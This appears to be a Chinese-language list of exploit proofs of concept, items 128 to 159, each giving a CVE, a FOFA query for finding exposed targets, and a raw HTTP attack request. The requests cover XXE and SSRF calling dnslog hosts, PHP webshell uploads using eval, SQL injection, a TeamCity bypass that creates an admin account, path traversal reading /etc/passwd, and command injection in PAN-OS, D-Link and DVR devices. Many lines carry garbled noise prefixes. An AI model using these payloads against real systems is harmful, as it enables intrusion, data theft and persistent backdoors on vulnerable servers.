$ E( P8 K* _2 g2 U: u! H5 v$ c7 C. {<!DOCTYPE test [
# V- {7 H( q. r# a  b+ D<!ENTITY t SYSTEM "http://c2vkbwbs.dnslog.pw">
]
, s5 A/ r* Q- `5 c7 W, k6 l0 ]: J>
6 u9 X# L, @" [" s) W<test>&t;</test>
------WebKitFormBoundaryJGgV5l5ta05yAIe0--


% b& v* L0 ^8 q, m& U' g
+ G4 z% k) ^( j2 G( K( C128. Adobe ColdFusion 反序列化
CVE-2023-38203
Adobe ColdFusion版本2018u17（以及早期版本）、2021u7（以及早期版本）和2023u1（以及早期版本）
2 s' }" _1 N6 K. {FOFA：app="Adobe-ColdFusion"
PAYLOAD
, V0 O, f: F. {; p$ U
* G! n9 A0 A2 v/ I- n# a7 ^7 S129. Adobe ColdFusion 任意文件读取
  z) |7 ~, D" \, }CVE-2024-20767
FOFA：app="Adobe-ColdFusion" && title=="Error Occurred While Processing Request"
第一步，获取uuid
GET /CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1
Host: x.x.x.x
8 `9 y- e$ F& `7 Z$ }User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
# u& i1 s0 ]) GAccept: */*
2 p4 r1 T% H: wAccept-Encoding: gzip, deflate
Connection: close
, o& L' ]% l9 j, s) F1 }9 V
4 n. v5 F2 ?8 ]9 z
第二步，读取/etc/passwd文件
, A9 m0 [  y" T. w  H- Z/ x7 dGET /pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=100 HTTP/1.1
Host: x.x.x.x
$ X8 `, g% n! Z& |" A' U9 rUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
1 K+ W9 w; n( W" q5 o7 MConnection: close
" d0 Y: @5 q' l0 u4 Y& duuid: 85f60018-a654-4410-a783-f81cbd5000b9
# E0 x) c+ t) S. a* y0 P7 v
! [% j' s$ p; p: S
& v7 \) ?1 K' P0 C2 c/ x7 k130. Laykefu客服系统任意文件上传
2 S. v5 ^0 ]8 y5 ?# R' OFOFA：icon_hash="-334624619"
POST /admin/users/upavatar.html HTTP/1.1
Host: 127.0.0.1
4 _3 W! r9 E& i% y! K' SAccept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
2 J' u. ~! T: _6 g! c1 m2 u1 p) b9 oContent-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
8 R9 Y) D1 N: M+ GAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: user_name=1; user_id=3
3 a1 P* y9 F* {7 b8 y* |  Z  UConnection: close
7 i) y( d- F/ g% s
------WebKitFormBoundary3OCVBiwBVsNuB2kR
Content-Disposition: form-data; name="file"; filename="1.php"
% ^" V2 K' a/ y% h. K; s9 `( mContent-Type: image/png

<?php phpinfo();@eval($_POST['sec']);?>
------WebKitFormBoundary3OCVBiwBVsNuB2kR--

% _7 C  V, G* e0 ~# D1 I* ?
131. Mini-Tmall <=20231017 SQL注入
FOFA：icon_hash="-2087517259"
% M5 |( c8 e. X4 s$ z7 n后台地址：http://localhost:8080/tmall/admin
& p% ~, B( E8 d$ R* Chttp://localhost:8080/tmall/admin/user/1/1?orderBy=7,if((length(database())=11),SLEEP(3),0)
1 y- y+ J( |: _' v( N$ d
% U+ x# |$ Z+ s9 \7 V132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
. ]  X7 Z: L0 L0 W# l/ p- d/ q1 OCVE-2024-27198
- B4 s: z7 H& DFOFA：body="Log in to TeamCity"
POST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
Host: 192.168.40.130:8111
# g" ^5 U( I" C) v: @9 pUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: */*
Content-Type: application/json
Accept-Encoding: gzip, deflate
. v/ j+ c( \4 l. ]2 v' l
7 _: I( T& r7 r% J2 F9 l# i{"username": "用户名", "password": "密码", "email": "test@mydomain.com", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}
# @7 S( h& n$ }$ F, m

CVE-2024-27199
/res/../admin/diagnostic.jsp
/.well-known/acme-challenge/../../admin/diagnostic.jsp
/update/../admin/diagnostic.jsp

/ a& r& r/ s+ t$ z! k& ?
8 G) Q' j$ r( X0 UCVE-2024-27198-RCE.py
: G  e% G9 K( k8 c1 Q9 J
133. H5 云商城 file.php 文件上传
& ~# Y6 u" Y3 XFOFA：body="/public/qbsp.php"
/ n' p' c: Y9 v+ E/ z* e5 O/ Q, C0 VPOST /admin/commodtiy/file.php?upload=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFQqYtrIWb8iBxUCx
; K; d' @/ b7 J: ?% O, h# Z
; a0 x7 E' c* b" S------WebKitFormBoundaryFQqYtrIWb8iBxUCx
) \! s2 U  z0 L+ PContent-Disposition: form-data; name="file"; filename="rce.php"
Content-Type: application/octet-stream
4 T3 p9 q: Q0 B+ A
<?php system("cat /etc/passwd");unlink(__FILE__);?>
) J" ^3 i# H# |0 n0 m% W9 L------WebKitFormBoundaryFQqYtrIWb8iBxUCx--


; B" t4 j& g5 L- H) B' i" Q+ p0 G
; d% _- N# ~$ O$ }3 n9 @134. 网康NS-ASG应用安全网关index.php sql注入
5 z3 U, ?: D6 s. b. I' [CVE-2024-2330
+ |" R; `- [* s$ @Netentsec NS-ASG Application Security Gateway 6.3版本
FOFA：app="网康科技-NS-ASG安全网关"
POST /protocol/index.php HTTP/1.1
) Z* C& \  y: Z0 y3 zHost: x.x.x.x
" f9 ~6 d2 I$ w+ _Cookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
; v$ L7 s+ `5 q. G' qAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
0 m$ I8 d( r+ ?$ iSec-Fetch-Dest: empty
6 D5 [5 F* _: @Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
- G9 ~/ e9 D' c6 @1 a) I  B% e/ ]Te: trailers
, p( i, ?$ a& r1 L) ~Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 263
1 b9 q2 f7 _$ h/ J- e2 k* A
jsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}
4 z$ K; u1 q0 y7 U

135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
: A3 V  H! _/ o$ s2 Q1 dCVE-2024-2022
Netentsec NS-ASG Application Security Gateway 6.3版本
FOFA：app="网康科技-NS-ASG安全网关"
GET /admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+md5(102103122)),0x7e)) HTTP/1.1
: L$ `0 t8 |  \9 ^' Z+ X$ LHost: x.x.x.x
: `2 o: k6 N# b; D* I7 H8 A/ \- AUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
& q( E6 p) Z: ~, U" QAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
3 ^3 d) d/ \  tAccept-Language: zh-CN,zh;q=0.9
Connection: close
) q3 t- \2 C" ^

136. NextChat cors SSRF
, ?8 }" L+ R! n2 d/ RCVE-2023-49785
) Q" Q* X  @) {7 Q5 R: BFOFA：title="NextChat"
GET /api/cors/http:%2f%2fnextchat.kr9dqoau.dnslog.pw%23 HTTP/1.1
+ f, X& q5 u0 o! ]Host: x.x.x.x:10000
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
& _! x: m+ X% L) r) n; SConnection: close
1 }+ h4 E( z0 I! d7 X. I5 ~Accept: */*
& S+ M6 Y/ }8 zAccept-Language: en
Accept-Encoding: gzip
9 h' f5 I' j8 t9 ], A7 P( i8 s
& ~# w, A& |- h% Q9 O, d
$ M" g- l* J8 J137. 福建科立迅通信指挥调度平台down_file.php sql注入
CVE-2024-2620
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
) m" ^5 O9 y2 Q8 rAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
+ g% a" h- m) k9 J3 P2 QConnection: close
0 J' ?3 |( |9 k' s  b& u, U! G  XCookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=uksj
Upgrade-Insecure-Requests: 1

6 L3 L' `, p/ m4 c
& c, ~& @9 \% |2 b138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
1 v4 p1 M! h& ~; s* K/ ?CVE-2024-2621
/ O9 B5 g7 B' a6 c8 TFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(5)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP/1.1
Host: x.x.x.x
4 z& p2 U* @, Z. a* E; P# GUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
6 w7 s5 _7 p! U* Y9 JAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
2 [$ R- l1 n; \' R; r8 K2 F) vAccept-Encoding: gzip, deflate, br
Connection: close
. l4 ]2 [! b( _, a+ z8 s" G/ h: HUpgrade-Insecure-Requests: 1
& V6 h- T8 y) _  T

5 N. C6 ]% ^! F1 q139. 福建科立讯通信指挥调度平台editemedia.php sql注入
" y+ B0 y" z* Q0 u/ bCVE-2024-2622
; Z3 ?. k" I+ JFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
6 L, T  `% z  Z6 Y/ RGET /api/client/editemedia.php?enterprise_uuid=1%27%20AND%20(SELECT%203257%20FROM%20(SELECT(SLEEP(5)))JPVs)%20AND%20%27gDyM%27=%27gDyM HTTP/1.1
" d; \  k4 H, Y( R  eHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
2 F" X& S4 M+ U* ?/ j  t  fAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
9 d1 H5 P' x8 VAccept-Encoding: gzip, deflate, br
Connection: close
Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=cybk
Upgrade-Insecure-Requests: 1

* d6 T6 G! M, ]/ \" i5 V$ o
140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
CVE-2024-2566
- f* a4 o0 b8 `* G) c" sFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/get_extension_yl.php?imei=1%27%20AND%20(SELECT%207545%20FROM%20(SELECT(SLEEP(5)))Zjzw)%20AND%20%27czva%27=%27czva&timestamp=1&sign=1 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
" q& F6 @$ h# m( p* a  I7 ?% _) dConnection: close
+ Y$ i, d- r# ICookie: authcode=h8g9
Upgrade-Insecure-Requests: 1
$ ~% i7 S9 b4 e# m; w" @+ d2 Q
# W6 m+ b( C/ `! l1 X
141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
3 Y" V3 E* |0 RFOFA：body="指挥调度管理平台"
POST /app/ext/ajax_users.php HTTP/1.1
) w2 f& \: V" t: O% C4 T8 ~5 Z8 XHost: your-ip
# q+ B, r+ L6 }2 Z0 Q* gUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Content-Type: application/x-www-form-urlencoded


dep_level=1') UNION ALL SELECT NULL,CONCAT(0x7e,md5(1),0x7e),NULL,NULL,NULL-- -

( J- L  m" I' x. {4 B( T
142. CMSV6车辆监控平台系统中存在弱密码
CVE-2024-29666
FOFA：body="/808gps/"
admin/admin
+ o( j* b: b) G2 ?, T- b) m143. Netis WF2780 v2.1.40144 远程命令执行
& |, [8 S! Q5 Q* V' f: g- jCVE-2024-25850
FOFA：title='AP setup' && header='netis'
PAYLOAD

144. D-Link nas_sharing.cgi 命令注入
FOFA：app="D_Link-DNS-ShareCenter"
system参数用于传要执行的命令
GET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=aWQ= HTTP/1.1
9 r7 g  M6 i  }% u4 yHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
Connection: close
6 C6 {& B8 G- l5 d- S1 qAccept: */*
Accept-Language: en
/ ?1 t! q! z( @Accept-Encoding: gzip


145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
6 X% L, @1 N/ K7 YCVE-2024-3400
FOFA：icon_hash="-631559155"
GET /global-protect/login.esp HTTP/1.1
! M% \$ Y5 k8 z6 uHost: 192.168.30.112:1005
6 l: d- k! `( x5 y& A( TUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Connection: close
  f6 X7 l: o/ p  uCookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}dnslog地址`;
1 [) A/ ?$ \' ~# T8 fAccept-Encoding: gzip
3 b" O" Z( `/ g& g* L: Y7 s

146. MajorDoMo thumb.php 未授权远程代码执行
  t  O# R& |6 qCNVD-2024-02175
FOFA：app="MajordomoSL"
GET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1
8 ]# a; C9 S, i* s8 f/ GHost: x.x.x.x
: Q) M0 G) Q$ Y# aUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
2 m2 M  _$ r6 f- V& g; vAccept-Charset: utf-8
6 K  }8 q* Y( X; EAccept-Encoding: gzip, deflate
. T' \! m! {* C7 d9 wConnection: close


7 S- F( }. q3 x* _7 y+ j% o147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
" k6 m' Q( y6 lCVE-2024-32399
FOFA：body="RaidenMAILD"
$ n9 @3 P# h0 G$ V/ m! N0 eGET /webeditor/../../../windows/win.ini HTTP/1.1
$ X# b9 V5 i! \. G2 v4 }Host: 127.0.0.1:81
Cache-Control: max-age=0
Connection: close
7 K7 ^# s+ N, t0 |' f4 ~; K
+ W3 u# y2 R& S0 L: z* b* j
+ s4 X: R4 k3 a; |148. CrushFTP 认证绕过模板注入
1 J. d  p) ?; \CVE-2024-4040
+ y2 y) S* z0 e# _FOFA：body="CrushFTP"
5 f& E; B. I) h' c, d2 yPAYLOAD
# O4 Q5 |% k) N# e3 h
  w; E# S" P  ^9 u9 Z149. AJ-Report开源数据大屏存在远程命令执行
FOFA：title="AJ-Report"

POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
- J% V9 r+ _- SHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
! E% X% }9 i' A* P3 d0 DAccept-Encoding: gzip, deflate, br
" f. X$ p8 B2 K/ c( EAccept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
2 R( u0 d2 f# O/ e8 mConnection: close
- J' m. ^. q  f0 Y$ L
( ?" q  Q3 [( F" S5 [{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"ipconfig\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
$ x0 v/ `! k3 `: O! U0 L
8 p5 J8 x& C+ [, E150. AJ-Report 1.4.0 认证绕过与远程代码执行
2 d2 R7 u; @' P  vFOFA：title="AJ-Report"
9 x, k( F4 D$ E) U) }' E3 t# a2 [POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
+ C- S# Q) o8 z! q7 V1 M/ dHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
: J/ ^* S8 n0 y5 hAccept-Encoding: gzip, deflate, br
, e( {6 d6 L, F* f! zAccept-Language: zh-CN,zh;q=0.9
# w  T+ R( U8 ^& MContent-Type: application/json;charset=UTF-8
Connection: close
Content-Length: 339
5 J8 G# {$ S* j! X) L  k) `
) {, Z+ I5 Q- f$ f& R/ s{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}


0 {! d) L) R" [! U/ D) U151. AJ-Report 1.4.1 pageList sql注入
FOFA：title="AJ-Report"
GET /;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1
1 a+ x' k" f4 e7 [2 ]) U% d# aHost: x.x.x.x
5 I5 l( ]. }) w7 d+ k! _, f! dUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
% i3 g  [/ y" h0 g, q- tAccept-Encoding: gzip
) W' b2 C( m7 t5 x6 H; q

152. Progress Kemp LoadMaster 远程命令执行
6 l% ]9 i  x$ ]/ o7 p+ Q- c( O8 ]& sCVE-2024-1212
LoadMaster <= 7.2.59.2 (GA)
" P5 u* m5 W' P, a. P2 ALoadMaster<=7.2.54.8 (LTSF)
: \7 J4 s' r- q$ E, KLoadMaster <= 7.2.48.10 (LTS)
6 y. R) z: K1 {6 L+ `FOFA：body="LoadMaster"
" D1 T% A; F; e5 n2 b% |9 ^' YJztsczsnOmRvZXNub3RtYXR0ZXI=是';ls;':doesnotmatter的base64编码
% P2 j6 X3 S& o! u( yGET /access/set?param=enableapi&value=1 HTTP/1.1
2 l" a8 H6 g/ R: hHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/604.1 (KHTML, like Gecko) Version/9.1.2 Safari/604.1
1 c, V. U- D! X3 x5 dConnection: close
9 L4 e$ J$ @# lAccept: */*
Accept-Language: en
Authorization: Basic JztsczsnOmRvZXNub3RtYXR0ZXI=
Accept-Encoding: gzip
; Q6 n3 H' M2 E, [( h* j

! F# Z9 r; G6 b4 r. r153. gradio任意文件读取
# A, G) }. x5 p4 m4 mCVE-2024-1561FOFA：body="__gradio_mode__"
& b8 x( g1 L+ W, ?( a第一步，请求/config文件获取componets的id
3 J' P0 k4 \6 u9 L9 q% s) F" shttp://x.x.x.x/config

9 w9 i$ m6 _4 K* ^6 P
第二步，将/etc/passwd的内容写入到一个临时文件
! K, i( r- g, f( A4 V5 I/ xPOST /component_server HTTP/1.1
) ^1 _1 p- ~' ^4 RHost: x.x.x.x
3 E9 |; W& t! s8 n8 n' g) _User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
) M5 j3 Z( [$ \8 K. g$ x; M6 x: J; ^7 WConnection: close
4 ~% N" e* w$ \) J# x& p+ R8 IContent-Length: 115
Content-Type: application/json
Accept-Encoding: gzip

{"component_id": "1","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}


4 a+ z3 e) G9 I# g第三步访问
5 S0 c8 L, J$ K7 @( O7 whttp://x.x.x.x/file=/tmp/gradio/ ... 8cdf49755073/passwd

+ W$ a9 G: |$ R  w, g3 g+ ~, u+ Z
( L  v& F; G( B4 Y154. 天维尔消防救援作战调度平台 SQL注入
CVE-2024-3720FOFA：body="天维尔信息科技股份有限公司" && title=="登入"
POST /twms-service-mfs/mfsNotice/page HTTP/1.1
% H) F5 m/ S9 UHost: x.x.x.x
Content-Length: 106
Cache-Control: max-age=0
: C! c' ?) Z3 ^  _! w/ CUpgrade-Insecure-Requests: 1
Origin: http://x.x.x.x
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
3 b* q9 d2 [" J/ C9 c# P; f* {Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
& Z6 c4 H0 P5 q: s1 fReferer: http://x.x.x.x/twms-service-mfs/mfsNotice/page
' e" j' d$ v1 v- U: @& jAccept-Encoding: gzip, deflate
/ P3 @1 h( E4 f# \Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
% h7 Y* D) R. j3 [( v# e
9 o; T/ ?# M9 d0 [) v{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="}


8 A3 R8 f7 W: w+ j. a; c3 H* c155. 六零导航页 file.php 任意文件上传
" u0 n7 q' c5 FCVE-2024-34982
FOFA：title=="上网导航 - LyLme Spage"
POST /include/file.php HTTP/1.1
Host: x.x.x.x
3 ]/ T5 ]/ X, H4 FUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
( J. P4 n7 A- K/ cConnection: close
Content-Length: 232
% {2 f/ S$ I) X! T9 A. ]- W' IAccept: application/json, text/javascript, */*; q=0.01
. i8 `" h; C1 R  HAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: multipart/form-data; boundary=---------------------------qttl7vemrsold314zg0f
, I* i, S- u6 hX-Requested-With: XMLHttpRequest

2 H' a, O& E1 X) X8 O-----------------------------qttl7vemrsold314zg0f
7 X# b: d+ `9 V# W4 ]7 H! k7 aContent-Disposition: form-data; name="file"; filename="test.php"
2 w3 E9 I1 ?2 X7 _5 z' @Content-Type: image/png

<?php phpinfo();unlink(__FILE__);?>
-----------------------------qttl7vemrsold314zg0f--


. i7 t) d$ S/ i+ b3 V访问回显文件http://x.x.x.x/files/upload/img_664ab7fd14d2c.php
3 R" q3 o1 i! n* b: O+ Z: y
+ q' U2 ?2 y7 v% B) R% x0 R( Z) y156. TBK DVR-4104/DVR-4216 操作系统命令注入
1 Z$ I; m. W; U, h  E& m3 u: RCVE-2024-3721
FOFA："Location: /login.rsp"
·TBK DVR-4104
% d& Y/ k# L/ L$ h% ?0 }. A·TBK DVR-4216
: \/ {; a( {& ^& r( `curl "http://<dvr_host>:<port>/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<URL_ENCODED_SHELL_COMMAND>" -H "Cookie: uid=1"
! P0 j& z+ x  Q% T/ w. R# k! t

POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3B%20echo%20asrgkjh0%20%3E%20%2Fvar%2Fexample.txt%3B%20ls%20-l%20%2Fvar%3B%20echo%20----------------%3B%20cat%20%2Fvar%2Fexample.txt%3B HTTP/1.1
- g; P3 b: @, x0 g: G! YHost: x.x.x.x
& f* N$ \( F$ m1 I& ]$ j6 [User-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 0
: I% O/ E3 H( ~. g4 l/ n; l; m% D9 ]Cookie: uid=1
# i7 _  G& ~6 v2 |0 aAccept-Encoding: gzip


4 P* c1 [: S9 V$ L157. 美特CRM upload.jsp 任意文件上传
; }/ S" y' x* C" K( A9 ICNVD-2023-06971
FOFA：body="/common/scripts/basic.js"
POST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null HTTP/1.1
& D( R+ f4 U/ g( J3 |+ X0 NHost: x.x.x.x
1 {# f( L# A: D$ C% tUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Content-Length: 709
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1imovELzPsfzp5dN
Upgrade-Insecure-Requests: 1
+ |$ X& u4 D7 _; |2 A. a
------WebKitFormBoundary1imovELzPsfzp5dN
  D; M! e( K6 @, c7 Z+ jContent-Disposition: form-data; name="file"; filename="kjldycpvjrm.jsp"
Content-Type: application/octet-stream
/ X2 R3 ~5 a5 I! E% k; m" ?" r* N
nyhelxrutzwhrsvsrafb
) |3 {) w$ g4 L9 z------WebKitFormBoundary1imovELzPsfzp5dN
7 o$ D  T2 v% q0 YContent-Disposition: form-data; name="key"

null
- F$ }3 W; R/ u- i3 F0 H9 v------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="form"

: \! E- [6 _3 h: N6 Onull
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="field"

null
------WebKitFormBoundary1imovELzPsfzp5dN
3 W) s# t: E6 r& k) o! z0 dContent-Disposition: form-data; name="filetitile"
- P8 [5 G5 d9 ?: j# x7 u# f+ v
null
------WebKitFormBoundary1imovELzPsfzp5dN
6 _( y/ X& |- t5 V0 N9 KContent-Disposition: form-data; name="filefolder"

null
------WebKitFormBoundary1imovELzPsfzp5dN--
' n* r- K0 u- A( M  k2 V

/ H+ ?: F& _+ ~  E* I7 G! t' p/ jhttp://x.x.x.x/userfile/default/userlogo/kjldycpvjrm.jsp

158. Mura-CMS-processAsyncObject存在SQL注入
# N  ]; ]1 O" o, D" FCVE-2024-32640
FOFA："Generator: Masa CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
Host: {{Hostname}}
3 K  t* C1 R0 K( dContent-Type: application/x-www-form-urlencoded
/ I& o& R- ]. |4 t7 s; y! ]
object=displayregion&contenthistid=x\'&previewid=1

; y4 O$ ?  m% s7 [
8 p9 M: L1 q7 Z9 d7 D159. 英飞达医学影像存档与通信系统 WebJobUpload任意文件上传
FOFA："INFINITT" && (icon_hash="1474455751"|| icon_hash="702238928")
POST /webservices/WebJobUpload.asmx HTTP/1.1
